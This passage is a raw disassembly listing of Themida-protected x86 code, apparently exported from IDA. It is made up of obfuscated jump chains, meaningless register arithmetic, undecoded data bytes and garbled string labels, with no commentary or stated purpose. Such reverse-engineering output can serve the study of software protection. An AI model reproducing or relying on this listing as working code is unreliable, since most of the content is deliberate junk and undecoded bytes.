--------------------------------------------------------------------------- loc_549C7C: ; CODE XREF: Themida_:00543E27j sub esp, 4 mov [esp], ecx push edi jmp loc_54CB1F ; --------------------------------------------------------------------------- loc_549C88: ; CODE XREF: Themida_:0054F381j mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax mov eax, 1EC3234h jmp loc_556E55 ; --------------------------------------------------------------------------- db 81h dd 567D20E9h, 1BF18110h, 9F23D42h, 51BFE9CBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_549CBA: ; CODE XREF: Themida_:00547F33j pop edx add edx, 4 push edi push ebx mov ebx, 4 jmp loc_55643B ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 116DB850h, 0D00D6D1Fh, 5439411h, 9626F1B1h, 0C158C189h db 0E9h, 5 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx dec dword ptr [esp] jmp loc_54C5B9 ; --------------------------------------------------------------------------- loc_549D04: ; CODE XREF: Themida_:0054EFDDj add edx, ebp mov ebp, [esp] add esp, 4 xchg edx, [esp] pop esp push eax mov eax, 0A6E3E05h and eax, 2C174C84h push esi jmp loc_549F94 ; --------------------------------------------------------------------------- db 1, 0EAh, 5Dh dd 4C281h, 0EC830000h, 24148904h, 42474FFh, 24048F5Ah dd 0FF24248Bh, 0E99C2404h, 0FFFF9557h, 4FC58158h, 10CDC7Ah dd 0F004E9CDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549D52: ; CODE XREF: Themida_:005541CAj push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_5512D8 ; --------------------------------------------------------------------------- loc_549D6C: ; CODE XREF: Themida_:005573E3j neg ebx xor ebx, 4215776Dh sub ebx, 2EC48A34h mov edi, ebx pop ebx push esi mov esi, 6F6F4EC2h dec esi neg esi xor esi, 17CC5F3Fh jmp loc_556CD6 ; --------------------------------------------------------------------------- db 41h, 0E9h, 93h dd 8FFFFF99h, 248B2404h, 2434FF24h, 592434FFh, 8904EC83h dd 8B54242Ch, 0C483242Ch, 4C58104h, 83000000h, 3C8904ECh dd 14BB5324h, 0BF4D6049h, 0B29FB6F0h, 515BDF01h, 0A94397B9h dd 4DC1817Ah, 810D5E34h, 825443F1h, 0E9CD01E0h, 0FFFFA167h dd 83242C8Bh, 26E904C4h, 52000029h, 3083BB53h, 0EBC11568h dd 0DBF74304h, 0E901C383h, 740Ch, 66F568h, 0D110E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549E0E: ; CODE XREF: Themida_:0054BFCCj sub ecx, ebx mov ebx, [esp] push esi mov esi, esp add esi, 4 jmp loc_55793B ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 aQsdo db 'QИdO',0 align 2 dw 1C8Bh dd 4C48124h, 80000000h, 0C80092C1h, 51470459h, 8387E9h db 0 ; --------------------------------------------------------------------------- loc_549E41: ; CODE XREF: Themida_:0054FF62j pop ebx jmp loc_54F35E ; --------------------------------------------------------------------------- loc_549E47: ; CODE XREF: Themida_:00556D1Dj push 571B78BEh pop ecx add ecx, 0AE250057h sub edi, 3E5D5255h add edi, ecx push ecx jmp loc_5552FC ; --------------------------------------------------------------------------- db 5Ah, 0F7h, 0DAh dd 0FFCC8DE9h, 14F753FFh, 53E95B24h db 0A4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549E73: ; CODE XREF: Themida_:00545B29j sub esp, 4 mov [esp], eax push esp mov eax, [esp] jmp loc_5486E8 ; --------------------------------------------------------------------------- loc_549E82: ; CODE XREF: Themida_:005492BFj or bl, 76h neg bl and bl, 0EEh neg bl add bl, 65h sub cl, bl pop ebx shr cl, 1 jmp loc_550722 ; --------------------------------------------------------------------------- loc_549E99: ; CODE XREF: Themida_:00547902j and eax, edi push dword ptr [esp] pop edi push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_556385 ; --------------------------------------------------------------------------- aIshoc db '┴Аh▌C',0 dw 0E900h dd 4411h, 0FF241489h, 5A042474h, 8B24048Fh, 0F662424h dd 9C2404B3h, 0FF93C6E9h, 4D000FFh, 0E95352D8h, 0FFFFDB50h dd 8853F188h, 885051CFh, 58C188F8h, 5B59C888h, 24148B59h dd 4C481h, 0FF2C0000h, 3B15166h, 63E9C800h, 68000022h dd 2, 6B7BE9h, 4C48100h, 31000000h, 78B850C3h, 539BD08h dd 1, 0C831E0D1h, 0C831C131h, 0D4E9D1F7h, 5C000073h, 0F57DE957h dd 1ABFFFFFh, 894A4855h, 44815FF9h, 2C2A0424h, 448170DAh dd 1C50424h, 4C01722Ch, 6C810424h, 1C50424h, 6C81722Ch dd 2C2A0424h, 0C8B70DAh, 4C48324h, 5A2434FFh, 81E78957h dd 4C7h, 99A5E900h, 0DD680000h, 89000073h, 0B2E9241Ch db 93h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549F8B: ; CODE XREF: Themida_:0054D7ACj mov eax, [esp] push eax jmp loc_550B10 ; --------------------------------------------------------------------------- loc_549F94: ; CODE XREF: Themida_:00549D1Cj mov esi, 1B28736Dh sub eax, esi pop esi add edi, eax mov eax, [esp] add esp, 4 jmp loc_556861 ; --------------------------------------------------------------------------- loc_549FA9: ; CODE XREF: Themida_:00548EB3j pop ecx add ebx, 1C71F42h sub ebx, 0ABF0AF9h sub ebx, 10093B43h jmp loc_55432A ; --------------------------------------------------------------------------- byte_549FC1 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005430FCo aS_5 db '$Ияэ',0 align 2 dw 0C281h dd 4, 0E9241487h, 2141h ; --------------------------------------------------------------------------- loc_549FD8: ; CODE XREF: Themida_:0054C923j push eax mov eax, 7BCE65E8h shl eax, 4 add eax, 9AC0EB2h sub eax, 9BDF0096h add ecx, eax pop eax xor ebp, ecx mov ecx, [esp] add esp, 4 push dword ptr [esp] jmp loc_5478C5 ; --------------------------------------------------------------------------- loc_549FFE: ; CODE XREF: Themida_:00557C5Cj mov ebp, 3BD2709Dh dec ebp push ebp xchg ebp, [esp] jmp loc_5508EA ; --------------------------------------------------------------------------- db 35h, 95h, 3Dh dd 0CE0D4DCEh, 3510082Eh, 1A1A7EFBh, 8158C601h, 4ECh, 24148900h dd 0E742B2BAh, 4E2C13Ah, 0C102E2C1h, 0E2C108E2h, 4EC8305h dd 0B9240C89h, 158FFFFEh, 6202C281h, 0CA292611h, 0FFC9ECE9h db 0FFh byte_54A051 db 0F7h, 1Ch, 24h ; DATA XREF: Themida_:005431E8o dd 9241E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A05A: ; CODE XREF: Themida_:00555C10j push dword ptr [esp] mov ecx, [esp] push esi mov esi, esp push ebx jmp loc_5560EC ; --------------------------------------------------------------------------- db 2Dh, 9Dh, 76h dd 75055926h, 5A282018h, 0B60F66h, 670C68h, 242C8900h dd 0CD77E9h, 8BE90900h, 0C483242Ch, 1C5CE904h, 89560000h dd 4C681E6h, 81000000h, 4C6h, 24348700h, 5C53E9h, 4C28300h dd 31241433h, 14332414h, 24248B24h, 46855h, 15D0000h, 42D5DE8h dd 87000000h, 248B2404h, 9846E924h, 489FFFFh, 99B4E924h dd 685B0000h, 666Dh, 0B9240C89h, 364460F2h, 848DE9h, 5EED8100h dd 0E93BAD73h, 1D22h ; --------------------------------------------------------------------------- loc_54A0F8: ; CODE XREF: Themida_:00543CC2j push esi jmp loc_557854 ; --------------------------------------------------------------------------- aSY db ']И^Y',0 align 4 dd 0B951E289h, 4, 5159CA01h, 514E98B9h, 6CC18153h, 1ACAEB1h dd 0FF5259CAh, 0E9042474h, 41DDh, 0E089505Dh, 405h, 4C08300h dd 5C240487h, 8B241C87h, 3CD22424h, 0D1E99C24h, 29000045h dd 0C875DE9h, 24248B24h, 89240489h, 40E952E0h, 5B00005Ah dd 565AD631h, 0BB6068BEh, 0F7D6874Ah, 0F714E9D2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A16E: ; CODE XREF: Themida_:0054CB32j mov ebp, 7CA11EB7h shr ebp, 5 shr ebp, 2 jmp loc_54FE78 ; --------------------------------------------------------------------------- dw 0C568h dd 5F7DC719h, 0FFAA0FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A189: ; CODE XREF: Themida_:00546107j and ecx, 2F141260h xor ecx, 4040264h add esi, ecx pop ecx jmp loc_546CE2 ; --------------------------------------------------------------------------- db 0BEh, 31h, 58h dd 81462F4Bh, 0EE43E6C6h, 4E6C10Bh, 0B4B4E94Eh, 2F680000h dd 5400004Eh, 5724048Fh, 9660E9h, 24248B00h, 0BA241489h dd 2, 603BC581h, 0D501741Ch, 603BED81h, 0E95A741Ch, 0FFFFCA58h dd 0C681DE01h, 6506780Ch, 291AB850h, 413571D7h, 25669F3Ch dd 57BB12E8h, 0FF956DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A1FD: ; CODE XREF: Themida_:0054D87Aj add edx, 8A008405h add ecx, edx mov edx, [esp] add esp, 4 jmp loc_544191 ; --------------------------------------------------------------------------- aLStz db '▀$$ИБz',0 align 4 loc_54A218: ; CODE XREF: Themida_:00548525j pop esp push 557Ah jmp loc_54865D ; --------------------------------------------------------------------------- db 0F7h aBSeRsQ db 'з│ЙsE)ЮИЛ÷',0 align 10h loc_54A230: ; CODE XREF: Themida_:00550C74j mov edx, 76E20AF3h jmp loc_556486 ; --------------------------------------------------------------------------- dw 1C8Bh aSN db '$И^╜',0 align 2 dw 0FE59h dd 0E317E9C8h, 2D68FFFFh, 89000026h, 0E9542414h, 0CA4Ah dd 0BA52h, 0EA290000h, 0FFE915E9h, 0ACE941FFh, 6800009Eh dd 56037115h, 81242C8Bh, 4C4h, 47BB5300h, 0E904696Ah, 7960h ; --------------------------------------------------------------------------- loc_54A284: ; CODE XREF: Themida_:00557C76j pop ecx inc ecx push edi mov edi, 0F62BF2C0h add ecx, edi pop edi jmp loc_549631 ; --------------------------------------------------------------------------- dd 0BA52D987h, 1850FC6Eh, 15AD101h, 8876E9CDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A2A6: ; CODE XREF: Themida_:0054D672j pop ecx sub esi, edx add esi, 687055E4h add esi, 2C4D6CAAh push edx push esi pop edx pop esi pop esi push 1EBDh jmp loc_554643 ; --------------------------------------------------------------------------- dd 50240C8Bh, 0E1E9E089h db 0D7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A2CF: ; CODE XREF: Themida_:0054C768j add al, 52h jmp loc_55751A ; --------------------------------------------------------------------------- dw 0C701h aB_i6s db '│г\_╘6И╩ч',0 db 0 ; --------------------------------------------------------------------------- loc_54A2E3: ; CODE XREF: Themida_:00543765j add esi, 4 xchg esi, [esp] pop esp loc_54A2EA: ; CODE XREF: Themida_:00548CA8j push 77ACh jmp loc_54C6D6 ; --------------------------------------------------------------------------- loc_54A2F4: ; CODE XREF: Themida_:0054378Ej mov bl, 5Fh mov dh, bl jmp loc_556141 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 33000000h, 3C31243Ch, 2080E924h, 5D680000h, 8900000Ah dd 0E0892404h, 0F8AE9h db 0 ; --------------------------------------------------------------------------- loc_54A31D: ; CODE XREF: Themida_:00548BCCj mov [esp], esi push edx mov edx, 44C10401h jmp loc_555CC3 ; --------------------------------------------------------------------------- db 0C1h dd 525106EEh, 0FFD889E9h, 59CA21FFh, 6347F281h, 752D5D79h dd 5282018h, 5926769Dh, 1AE9D029h, 28FFFFFDh, 442C5BF8h dd 0FF54505Bh, 81582434h, 4C4h, 40500h, 42D0000h, 33000000h dd 4312404h, 24043324h, 0FFC13CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A379: ; CODE XREF: Themida_:00557654j sub edi, 5DD5FC9h shl edi, 7 and edi, 70D0801h neg edi xor edi, 0AAF913D8h jmp loc_548140 ; --------------------------------------------------------------------------- loc_54A395: ; CODE XREF: Themida_:005476D3j push dword ptr [esp] mov ebp, [esp] add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp shr ecx, 2 push ebx jmp loc_54B0DA ; --------------------------------------------------------------------------- loc_54A3BD: ; CODE XREF: Themida_:00552665j push ecx mov ecx, 4CE0488Bh dec ecx neg ecx jmp loc_557CF1 ; --------------------------------------------------------------------------- aXsl db 'XИ╚Ё',0 dd 81E68900h, 4C6h, 4C68100h, 87000000h, 248B2434h, 4C08324h dd 0DC11E9h, 0C6343500h, 0C2013B7Bh, 0E9D08958h, 0C152h dd 4C48358h, 51E08950h, 407FD3B9h, 82E98137h, 810DA013h dd 7149C9F1h, 0C181412Eh, 1, 4AC8BD55h, 22E93116h, 890000DAh dd 4C381E3h, 83000000h, 1C8704C3h, 24248B24h, 17E9D8F6h dd 830000DAh, 0CC6804ECh, 8900005Fh, 4812424h, 424h, 24048F00h dd 4240481h, 5F000000h, 4C781h, 78E90000h, 56FFFFF3h, 4BEh dd 0E9F20100h, 1BB0h ; --------------------------------------------------------------------------- loc_54A474: ; CODE XREF: Themida_:0054F32Ej pop esi pop ebx push eax mov eax, 5DAC4243h jmp loc_556F29 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 53000000h, 4EC81h, 82E90000h db 9Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A493: ; CODE XREF: Themida_:0054E87Dj sub edx, eax pop eax sub edx, 6BF04805h mov ecx, [edx] jmp loc_5483A5 ; --------------------------------------------------------------------------- db 35h dd 5512138h, 0D02E8C1h, 74F37679h, 7B3AAE05h, 58C62980h dd 0FFA679E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A4BD: ; CODE XREF: Themida_:0054FAB0j mov [esp], eax jmp loc_552E51 ; --------------------------------------------------------------------------- loc_54A4C5: ; CODE XREF: Themida_:00550365j and edx, eax mov eax, [esp] add esp, 4 add edx, 0FFFFFFFFh jmp loc_550E48 ; --------------------------------------------------------------------------- dd 0E95EF029h, 0FFFF9AFCh, 4C281h, 0C2830000h, 4EC8302h dd 89241C89h, 0EC8155E3h, 4, 0BF243C89h, 4, 15F5D57h, 0EB815DEBh dd 4, 0E9241C87h, 0CF51h, 2DC068h, 24148900h, 9491E9h dd 240C8700h, 86E9575Ch db 0D3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A52B: ; CODE XREF: Themida_:005468B3j mov edi, [esp] add esp, 4 xor edi, 26B266FAh or edi, 348F2EF7h sub edi, 0C80C7FF6h mov ecx, edi jmp loc_54C729 ; --------------------------------------------------------------------------- db 55h, 0BDh, 6Fh dd 872DEF47h, 83DAF7D5h, 2C8904ECh, 1CD36824h, 14890000h dd 9EE95D24h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A56B: ; CODE XREF: Themida_:005446BFj add esp, 4 sub ebx, edi jmp loc_554F4B ; --------------------------------------------------------------------------- db 55h, 0BDh, 78h dd 512E7576h, 59277CB9h, 59CD217Fh, 4DE4BF57h, 0FD014B80h dd 2FE5815Fh, 0F76CD038h, 0E2C581D5h, 0E991033Eh, 4EE3h dd 66F1F65Ch, 57CCB60Fh, 0C7815F54h, 4, 4EF81h, 3C870000h dd 0BE95C24h, 0F70000A9h, 9FCDE9D1h, 2159FFFFh, 0B8E95BDEh dd 100005Ah, 7E981D1h, 81080445h, 202761C1h, 0C335A36h dd 240C3124h, 0FF8CFCE9h, 0E9008FFFh, 0FFFF8CABh ; --------------------------------------------------------------------------- loc_54A5F0: ; CODE XREF: Themida_:0054F574j pop eax jmp loc_54D303 ; --------------------------------------------------------------------------- loc_54A5F6: ; CODE XREF: Themida_:0054DC5Fj neg edi add edi, 89927F0Ch mov eax, edi pop edi shr eax, 2 not eax jmp loc_54ED9C ; --------------------------------------------------------------------------- loc_54A60B: ; CODE XREF: Themida_:00556678j pop eax jmp loc_546C0A ; --------------------------------------------------------------------------- db 57h, 89h, 0C7h dd 585FFE89h, 510EE9h db 0 ; --------------------------------------------------------------------------- loc_54A61D: ; CODE XREF: Themida_:00548EC8j push ebx push 0B7E50B6h jmp loc_54A66A ; --------------------------------------------------------------------------- loc_54A628: ; CODE XREF: Themida_:00546894j mov ebp, esi pop esi push ebx mov ebx, 0F1199B4Fh add ebp, ebx pop ebx push eax mov eax, 7CC839CAh add ebx, eax pop eax add ebx, ebp jmp loc_556B34 ; --------------------------------------------------------------------------- dd 525D5455h, 6251D7BAh, 0EDCA814Eh, 521DD150h, 5A2414F7h dd 6FE9514Ah, 1FFFF8Fh, 3C875EF7h, 7E4DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A66A: ; CODE XREF: Themida_:0054A623j pop ebx shr ebx, 5 sub ebx, 501752CCh sub ebx, 224E73EBh jmp loc_54997F ; --------------------------------------------------------------------------- db 58h dd 81242C8Bh, 4C4h, 0C6B6800h, 1C890000h, 0E9575524h, 0FFFF8D36h dd 8104C483h, 0F0E62CBh, 43D3F762h, 0FFB6E7E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A6A9: ; CODE XREF: Themida_:0054356Ej add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] shl esi, 4 shl esi, 4 add esi, 22802300h jmp loc_54F8ED ; --------------------------------------------------------------------------- dw 8358h dd 0E98104C4h, 782C5E74h, 75BA5250h, 0F701B631h, 5BEA81DAh dd 0E9B558B8h, 0FFFFE188h, 0FF8BAEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A6ED: ; CODE XREF: Themida_:0054FF01j or eax, 631D4D04h add eax, 3D8B1D49h shr eax, 6 dec eax push edx mov edx, 73515215h sub edx, 0FFFFFFFFh jmp loc_54D91E ; --------------------------------------------------------------------------- dd 88E9C39Dh, 81FFFF8Bh, 0ED2CAEE9h, 59CD0139h, 8E45E9h dd 243C8700h, 51E8015Ch, 2E0C68B9h, 0FB33E95Bh, 3C87FFFFh dd 9080E924h, 148BFFFFh, 4C48324h, 53C3E9h, 81D1F700h dd 7C59E9h, 0FDC18153h, 8136062Ch, 0ACC4ADE9h, 0E9515560h dd 0B1FBh, 0E7E5BD55h, 0EB29988Fh, 946CE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A76E: ; CODE XREF: Themida_:00544EFFj sub esp, 4 mov [esp], esi jmp loc_5536E1 ; --------------------------------------------------------------------------- loc_54A77C: ; CODE XREF: Themida_:00552A5Aj xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov ebx, [esp] add esp, 4 jmp loc_54D51F ; --------------------------------------------------------------------------- loc_54A796: ; CODE XREF: Themida_:00548FB7j sub ebx, 7336829h add ebx, eax jmp loc_544EDC ; --------------------------------------------------------------------------- loc_54A7A3: ; CODE XREF: Themida_:0055120Bj xor ebp, edx mov edx, [esp] add esp, 4 mov eax, ebp jmp loc_544742 ; --------------------------------------------------------------------------- dw 0C281h dd 0BE9DC7DBh, 0FF960CE9h, 5AF680FFh, 0E9E6F680h, 1FFCh dd 8704C683h, 555C2434h, 268h, 2434FF00h, 5D2434FFh, 0C4B3E9h dd 4C68100h, 83000000h, 0FF5604EEh, 5E042474h, 8B24048Fh dd 34892424h, 2434FF24h, 4C4835Fh, 0F1F68h, 241C8900h dd 5916E2BBh, 5BDF0150h, 0A2E9CF01h db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A817: ; CODE XREF: Themida_:005486DBj sub esi, 0FFFFFFFFh xor esi, 5027344Ah sub ebx, 1B231271h add ebx, esi add ebx, 1B231271h jmp loc_545D8A ; --------------------------------------------------------------------------- db 1 dd 0D0C181F1h, 8115A10Dh, 7512BC1h, 2434FF4Ah, 4C4835Eh dd 2C181h, 0C870000h, 24248B24h, 9C2404FEh, 0FF8A3EE9h dd 0FC909FFh, 0FFDA5484h, 6D0C68FFh, 0E1E90000h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A86F: ; CODE XREF: Themida_:0054EA31j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_557191 ; --------------------------------------------------------------------------- db 81h, 0F1h, 3Fh dd 5514B400h, 0AB5EE9h, 24048B00h, 8904EC83h, 0E189240Ch dd 0D10BF57h, 0E94F150Bh, 97C8h, 5B66542Ch, 9FE9EA2Ch db 9Ch, 2 dup(0FFh) byte_54A8AB db 0FFh ; DATA XREF: Themida_:00543050o dd 0DEE93877h, 29FFFFC3h, 7E0105D8h, 0E95537AAh, 0A5D8h dd 10BF5752h, 0E973570Ah, 7C54h, 56241C89h, 42474FFh, 0E924348Bh dd 0FFFFD4E3h ; --------------------------------------------------------------------------- loc_54A8DC: ; CODE XREF: Themida_:00557A4Fj sub ebx, 6F7F2AEDh push ebx pop eax pop ebx sub edi, eax pop eax jmp loc_5575D8 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C48358h, 4BE56h, 4E90000h, 80000029h, 0E60045C6h, 8045EE80h dd 9EE94EEEh, 0B5FFFFB2h, 1433681Ch, 1C890000h, 88B2B724h dd 51535BFAh, 7FFEE9h db 0 ; --------------------------------------------------------------------------- loc_54A925: ; CODE XREF: Themida_:0055613Cj push esi jmp loc_550226 ; --------------------------------------------------------------------------- loc_54A92B: ; CODE XREF: Themida_:00556C72j mov [esp], ecx jmp loc_556285 ; --------------------------------------------------------------------------- loc_54A933: ; CODE XREF: Themida_:005466CBj mov ebx, [esp] push ebp push esp pop ebp push 12Bh mov [esp], edx jmp loc_54DDC0 ; --------------------------------------------------------------------------- dw 0CF81h dd 49284305h, 14D3B850h, 0D7E93139h db 70h, 2 dup(0) byte_54A957 db 0FFh ; DATA XREF: Themida_:00543118o dd 589D1C77h, 9C240419h, 0FF8936E9h, 8BEF89FFh, 0C481242Ch dd 4, 0E95FFE89h, 0CF5Bh, 9BB95148h, 815E3B74h, 5B004DC1h dd 59C809B1h, 6804E8C1h, 23D5h, 0BA241489h, 4BBD15DCh dd 0B8E9D021h, 5E0000D1h, 8324148Bh, 51E904C4h, 6600000Bh dd 6EAEEB81h, 81C0B70Fh, 4ECh, 0CD57E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A9BE: ; CODE XREF: Themida_:00553B6Bj pop ebx sub edi, esi pop esi push ecx mov ecx, 381B4DDAh jmp loc_54C004 ; --------------------------------------------------------------------------- db 0BBh, 0DDh, 38h dd 0D829338Ch, 0F003355Bh, 0C201D6FCh, 2065E9h db 0 ; --------------------------------------------------------------------------- loc_54A9E1: ; CODE XREF: Themida_:005501F5j mov eax, 384B1F69h or esi, eax mov eax, [esp] add esp, 4 push edi push ebx mov ebx, 1E4072E2h mov edi, 10F3D534h jmp loc_54E661 ; --------------------------------------------------------------------------- db 33h dd 80E9240Ch, 5800005Ch, 3F1EBB53h, 0E3C170FAh, 52E38105h dd 0E92D311Fh, 0FFFFABA9h ; --------------------------------------------------------------------------- loc_54AA1C: ; CODE XREF: Themida_:0054EE31j pop ebx jmp loc_558028 ; --------------------------------------------------------------------------- aZs db 'ZИ',9,'+',0 align 4 loc_54AA28: ; CODE XREF: Themida_:0054587Fj push esi jmp loc_54EF22 ; --------------------------------------------------------------------------- loc_54AA2E: ; CODE XREF: Themida_:00556864j sub esp, 4 jmp loc_54B29E ; --------------------------------------------------------------------------- dw 0DE89h dd 0E9F5895Bh, 0CC39h, 5B59C889h, 0BE3DE940h, 0C6810000h dd 78EC3F40h, 0EE81DE29h, 78EC3F40h, 793CEE81h, 8B5B549Ch dd 0EC81241Ch, 4, 89240489h, 405E0h, 0F7E90000h, 0C0000056h dd 0E0C008E0h, 6807h, 4280000h, 24048A24h, 0FE04C483h dd 53EF2CC8h, 27E9C388h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54AA97: ; CODE XREF: Themida_:00543EEEj push edx mov edx, 42CF6ED1h dec edx xor edx, 169719CDh push edx add dword ptr [esp], 3C970091h pop ebp sub ebp, 3C970091h pop edx jmp loc_545AD3 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0C7h dd 4, 75B268h, 9B70E900h, 0BF57FFFFh, 20AF59E2h, 0FFAB9EE9h dd 240431FFh, 0FFE9E8E9h, 241C89FFh, 0B40FE9h, 241C8B00h dd 0FF9B61E9h, 0C781FFh, 5D3FEA41h, 3A00E9h, 4EF8300h dd 5C243C87h, 54243C89h, 2FFAE9h, 74FF5700h, 8F5F0424h dd 248B2404h, 0CF3AE924h, 0E95C0000h, 0FFFF877Bh, 0BDEFE956h dd 0EC83FFFFh, 24048904h, 386C49B8h, 6C4DBA32h, 0C2313238h dd 582434FFh, 104C483h, 2434FFD5h, 8324148Bh, 0EC8104C4h dd 4, 81240C89h, 4ECh, 24248900h, 4240483h, 0E9240C8Bh dd 4CEBh ; --------------------------------------------------------------------------- loc_54AB68: ; CODE XREF: Themida_:00557F1Ej xor edx, 0E6C39369h jmp loc_54F31D ; --------------------------------------------------------------------------- loc_54AB73: ; CODE XREF: Themida_:00556BFFj xor edi, 6B581029h jmp loc_553803 ; --------------------------------------------------------------------------- dw 0F5BEh dd 31FA67F0h, 24348BF3h, 8904C483h, 0FF685BDDh, 89000028h dd 10E9242Ch db 0A0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54AB9B: ; CODE XREF: Themida_:005551BCj push dword ptr [esp] jmp loc_55696A ; --------------------------------------------------------------------------- loc_54ABA3: ; CODE XREF: Themida_:0055320Dj push 67AD0415h pop eax inc eax sub eax, 67AD0412h mov edi, eax pop eax add edx, edi jmp loc_54FF7C ; --------------------------------------------------------------------------- loc_54ABB9: ; CODE XREF: Themida_:00552424j not ebx jmp loc_5577CA ; --------------------------------------------------------------------------- loc_54ABC0: ; CODE XREF: Themida_:0054470Cj and ebp, 5BA8513Ah xor ebp, 49000114h mov ebx, ebp push dword ptr [esp] jmp loc_5532BE ; --------------------------------------------------------------------------- loc_54ABD6: ; CODE XREF: Themida_:005562FFj mov edi, 479A552Bh inc edi add edi, 0FFFFFFFFh push esi mov esi, 4BF71089h and esi, 745C3F38h add esi, 6D9D08A7h sub esi, 6656C388h sub edi, esi pop esi mov esi, edi pop edi jmp loc_54FAD4 ; --------------------------------------------------------------------------- dw 1489h dd 4664BA24h, 0BDE96AEEh, 33FFFFD1h, 248B242Ch, 6EE95224h dd 8BFFFFB0h, 0C4812434h, 4, 0A34DE9h, 80E30000h, 80581CC3h dd 0DDE916C3h, 8BFFFFF8h, 0C483240Ch, 24048F04h, 8655E95Ch dd 0F281FFFFh, 28A954E4h, 4EC81h, 3C890000h, 29685124h dd 89000017h, 96BD242Ch, 811B9D38h, 96D3D2EDh, 5DE9890Dh dd 0C0E9CF89h, 1000046h, 5C3505F0h, 348B1EC5h, 4C48124h dd 2D000000h, 4, 5C240487h, 0BF243C89h, 4, 3C8BFA89h, 2098E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AC9E: ; CODE XREF: Themida_:005565C1j push dword ptr [esp+4] mov ecx, [esp] jmp loc_5450E4 ; --------------------------------------------------------------------------- aQRkbss db '[Q╧ЮkBsИос',0 align 2 word_54ACB6 dw 8B66h ; DATA XREF: Themida_:00542FECo dd 0D868240Ch, 89000040h, 6850241Ch, 43FCh, 83242489h dd 58042404h, 19685657h, 0E94A1966h, 45B5h, 5157BE56h dd 0F22174C2h, 2DA685Eh, 1C890000h, 67B5BB24h, 0DA215B8Bh dd 26F8E95Bh, 0E95E0000h, 66E2h ; --------------------------------------------------------------------------- loc_54AD00: ; CODE XREF: Themida_:00544927j add edx, 4 sub edx, 4 jmp loc_544BE7 ; --------------------------------------------------------------------------- db 0F7h, 0DFh, 81h dd 128C13EFh, 0AED81C4h, 0E9398C51h, 0C24Eh dword_54AD24 dd 240C8B66h, 457E68h, 5ECEE900h, 0EC830000h, 240C8904h ; DATA XREF: Themida_:00543240o dd 8C14C9B9h, 80C9816Dh, 0E942936Fh, 7DB6h, 582434FFh dd 4C481h, 81500000h, 4ECh, 24248900h, 4240483h, 9808E9h dd 2434FF00h, 5B54535Fh, 4C381h, 68560000h, 4, 0E9F3015Eh dd 0B361h, 5C240487h, 8B240C87h, 0E9F72424h, 56FBE9h, 5BF98800h dd 0FF9573E9h, 0C3815DFFh, 281D026Ah, 79EB951h, 0CB2946BFh dd 0CAF0E959h, 0BB530000h, 6F052BAFh, 35EB8143h, 89192804h dd 0BB535BDEh, 1B00414Dh, 0FF9586E9h, 0C3EE81FFh, 2928612Ah dd 3410E9DEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54ADD6: ; CODE XREF: Themida_:0054517Aj xor edi, edx xor edx, edi xor edi, edx xor [esp], edi xor edi, [esp] jmp loc_557D65 ; --------------------------------------------------------------------------- db 87h dd 575C2404h, 5429E9h, 24348B00h, 4C481h, 0C3810000h, 0FFFFFFFFh dd 0E901C383h, 0A0CAh, 0B551525Ah, 284BB6B8h, 0B75359EEh dd 94CF8048h, 4CE9CFFEh, 81000032h, 0B83DDDC7h, 58E95E62h dd 8900002Dh, 0EC83241Ch, 3DD1E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AE36: ; CODE XREF: Themida_:0055377Cj add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_548720 ; --------------------------------------------------------------------------- db 5Fh dd 4244481h, 4BF00F71h, 237BE9h, 0E9D1F700h, 0FFFFF8E9h ; --------------------------------------------------------------------------- loc_54AE5C: ; CODE XREF: Themida_:0054B589j add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], ebx mov ebx, 7AD33C51h push ebx pop ecx mov ebx, [esp] add esp, 4 add edx, 4FF318CEh jmp loc_54DB73 ; --------------------------------------------------------------------------- db 52h, 0E9h, 0A8h dd 1000013h, 24348BF0h, 504C483h, 